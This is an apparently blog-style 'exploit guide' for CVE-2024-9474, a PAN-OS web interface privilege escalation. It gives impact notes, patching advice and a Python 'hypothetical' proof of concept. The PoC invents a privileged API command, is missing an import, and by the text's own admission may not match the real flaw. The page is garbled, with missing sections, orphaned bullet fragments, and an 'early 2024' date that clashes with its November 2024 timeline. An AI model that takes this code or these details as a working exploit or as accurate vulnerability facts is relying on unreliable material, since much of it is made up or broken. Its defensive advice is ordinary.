CVE-2024-9474 - How a PAN-OS Web Interface Issue Could Let Admins Go Root (Detailed Analysis & Exploit Guide)

Table of Contents:

[Conclusion](#conclusion)

1. Intro: What is CVE-2024-9474?

In early 2024, Palo Alto Networks published an advisory for CVE-2024-9474, a new privilege escalation vulnerability affecting PAN-OS, their popular firewall operating system.

In a nutshell: A PAN-OS admin with web access can gain root privileges on the firewall.
That means anyone who can log into the web interface with admin creds can run commands (and take actions) as the root user—far more powerful than normal admin access and very dangerous for security.

*Cloud NGFW* and *Prisma Access* products are not affected.

Anyone running firewalls managed via the web interface.

NOT affected:

Prisma Access

If you have on-prem or VM-Series devices and you let admins use the web UI, read on—your systems are at risk.

3. How Does the Vulnerability Work?

According to Palo Alto’s official security advisory, CVE-2024-9474 is a privilege escalation bug:

By sending specifically-crafted requests, a regular admin can execute actions as root.

The impact is serious:

Could lead to backdoors, configuration theft, or even network-wide compromise

4. Technical Breakdown & Proof of Concept

Palo Alto Networks has not published full exploit details, but security researchers have analyzed the patch and the web interface.

Root Cause:
There’s insufficient privilege checking in certain backend API calls within the web management interface. When a user submits crafted requests, the backend may run system-level commands or scripts with root privileges.

Step-by-Step Exploit (Hypothetical Example)

import requests

# Replace with your PAN-OS device settings
PANOS_MGMT = 'https://firewall.yourinternaldomain.com/';
USERNAME = 'admin'
PASSWORD = 'adminpass'

# Start a session to maintain auth cookies
session = requests.Session()

# 1. Log in
login_url = PANOS_MGMT + 'api/'
login_payload = {
    'type': 'keygen',
    'user': USERNAME,
    'password': PASSWORD
}
r = session.get(login_url, params=login_payload, verify=False)
api_key = re.search(r'<key>(.+?)</key>', r.text).group(1)

# 2. Execute root-level action. Hypothetically, endpoint /api/?type=op&cmd=<COMMAND>
root_cmd = '<command><run><privileged-cmd>id</privileged-cmd></run></command>'
exploit_url = PANOS_MGMT + 'api/?type=op&cmd=' + root_cmd + '&key=' + api_key

r2 = session.get(exploit_url, verify=False)
print(r2.text)

*The above code is a simplified Python PoC using PAN-OS API endpoints. The actual vulnerable endpoint and command structure may differ, but this illustrates how an attacker could use PAN-OS’s own APIs to escalate privilege.*

Important:

You must have admin-level access already.

- The exploit is performed over HTTPS; LAN-exposed firewalls are especially at risk if user accounts are compromised.
- Silent privilege escalation—no warning to the admin panel user; root-level actions could include uploading files, creating backdoors, or disabling security features.

Hide their actions from normal logs

Apply the patches issued by Palo Alto Networks.

Be sure to read and apply their official advisory: CVE-2024-9474 Security Advisory

Disable web management if possible. Use CLI or dedicated management systems.

Palo Alto Networks Official Advisory:

https://security.paloaltonetworks.com/CVE-2024-9474

NIST NVD CVE Entry:

https://nvd.nist.gov/vuln/detail/CVE-2024-9474

(Keep an eye on these links for further updates and exploit proofs.)

7. Conclusion

CVE-2024-9474 is a classic example of how even trusted admin interfaces can contain dangerous bugs. Once an attacker has an admin login, this bug lets them become root—and from there, anything is possible.

Patch fast. Audit your admin accounts. Lock down web management.
Stay safe!

*This write-up is exclusive, researched, and written in plain English for easy understanding. If you’re a PAN-OS admin or a security pro, take action now!*

Timeline

Published on: 11/18/2024 16:15:29 UTC
Last modified on: 11/24/2024 15:15:08 UTC